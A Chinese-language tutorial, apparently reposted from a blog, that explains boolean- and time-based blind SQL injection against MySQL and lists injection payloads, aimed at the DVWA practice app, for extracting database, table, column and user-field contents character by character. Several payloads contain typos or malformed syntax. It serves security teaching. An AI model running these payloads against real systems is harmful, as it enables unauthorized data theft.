基于布尔型SQL盲注——MySQL关键函数、dvwa演示

1 盲注基本概念

  • 如果每个应用程序都能按照我们输入的SQL 命令返回我们需要的数据, 那应用程序就无安全性可言了! 为此, 程序设计者们想到一个办法, 那就是无论输入何种命令, 只要SQL 语句导致数据库产生错误, 那么应用程序就会返回一个“ 通用的" 的页面, 或者重定向一个通用页面( 可能为网站首页) 。这时,回显方式的SQL 注入办法就无法使用了。

  盲注, 即在SQL 注入过程中, SQL 语句执行选择后, 选择的数据不能回显到前端, 需要使用特殊的方法进行判断或尝试, 这个过程称为盲注。

盲注分为两类:

  1. 基于布尔型SQL 盲注:

  基于布尔型SQL 盲汁即在SQL 注入过程中, 应用程序仅仅返回True( 页面) 和False( 页面) 。无法根据应用程序的返回页面得到需要的数据库信息。但是可以通过构造逻辑判断( 比较大小) 来得到需要的信息。

  1. 基于时间型SQL 盲注:

注入SQL 代码之后, 存在以下两种情况:

  • 如果注入的SQL 代码不影响后台[ 数据库] 的正常功能执行, 那么Web 应用的页面显示正确( 原始页面) 。
  • 如果注入的SQL 代码影响后台数据库的正常功能( 产生了SQL 注入) , 但是此时Web 应用的页面依旧显示正常( 原因是Web 应用程序采取了“ 重定向" 或“ 屏蔽" 措施)。

产生一个疑问:注入的SQL 代码到底被后台数据库执行了没有? 即Web 应用程序是否存在SQL 注入?
面对这种情况,之前讲的基于布尔的SQL 盲注就很难发挥作用了( 因为基于布尔的SQL 前提是Web 程序返回的页面存在true 和false 两种不同的页面)。这时, 一般采用基于web 应用响应时间上的差异来判断是否存在SQL 注入, 即基于时间型SQL 盲注。

2 MySQL盲注关键函数

2.1 判断结果的记录数COUNT()

count(columu_name)函数
函数返回指定列的值的数目(NULL 不计入)
语法示例:
Select count (user) from users;    // 返回表中user列的记录数
select count(*) from users;      // 返回表中的记录数
示例如图所示:

2.2 返回数据中的某几行数据 imit()

Limit(m,n) 函数
说明:m 代表从m+1 条记录行开始检索,n 代表取出n 条数据。( m 可设为0 )
语法示例:
select * from 表名 limit m,n;
select user from users limit 0,1;    // 检索记录行1
示例如图所示:

 

2.3 内容长度判断函数length()

length() 函数
length() 函数返回文本字段中值的长度。
语法示例:
select length(user) from users;
示例如图所示:

2.4 字符串截取函数mid(), substr() ,substring(),left()

字符串截取函数有几个类似函数,mid(), substr() ,substring()和left() , 其中前三个函数用法基本一致
  mid (string,start,length)  函数
其中,每个参数的含义如下:

  • string( 必需) 规定要返回其中一部分的字符串。
  • start( 必需) 规定开始位置(起始值是1) 。
  • length( 可选)要返回的字符数。如果省略, 则mid() 函数返回剩余文本。

  substring(string,start,length) 和substr(string, start, length)
函数实现的功能是一样的, 均为截取字符串。
其中,每个参数的含义如下:

  • string( 必需) 规定要返回其中一部分的字符串。
  • start( 必需) 规定开始位置(起始值是1) 。
  • length( 可选)要返回的字符数。

语法示例:

 

  left (string,length) 函数
截取指定长度的字符串
其中, 每个参数的含义如下:

  • string  (必需) 规定要返回其中一部分的字符串。
  • length (可选) 规定被返回字符串的前length 长度的字符

 

2.5 字符转ascii 码函数ascii()

Ascil() 函数
将字符转化为ascii 码。如果是字符串, 则返回的最左字符的数值。也就是第一个字符的ascii 值。如果字符串为空字符串,则返回NULL 。如果字符串为NULL, ASCII() 返回数值是从0 到255 随机。
语法示例

select ascii(substr(user,1,1)) from users limit 0,1;
示例如图所示

3 基于布尔逻辑的盲注

基于布尔型SQL盲注即在SQL 注入过程中,应用程序仅仅返回True(页面)和FaIse(页面)。 但不会回显程序返回信息。对于布尔型盲注可以通过构造逻辑判断( 比较大小) 来得到数据库内容信息。
盲注的步骤与注入语句:( 注入需要在注入点拼接注入语句,实现逻辑判断)
1 、判断当前数据库名长度与数据库名

  • And length(database())>n          / / 判断当前数据库长度
  • And ascii(substr(database(),m,1))> n     / / 截取数据库名第m 个字符并转换为ascii 码

2 、判断数据库的表长度与表名

  • And length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1)) > n         // 判断第一行表名的长度
  • And ascii((substr(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1)) > n        // 截取第一行表名的第m 个字符串并转换为ascii码

3 、判断数据库的字段名长度与字段名称

  • And length ((select column_name from information_schema.columns where table_name='users' limit 0,1)) >n         // 判断表中字段名的长度
  • And ascli((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1)) >n    // 截取表中字段的第m 字符串并转换为ascii码

4 、判断字段的内容长度与内容字符串

  • And length((select user from users limit 0,1)) > 1       / / 判断字符串内容长度
  • And ascii(substr((select user from users imit 0,1),m,1))   / / 截取第m 个字符串并转换为ascil码

4 SQL盲注——dvwa演示

原文地址:https://www.cnblogs.com/52kj/p/12421865.html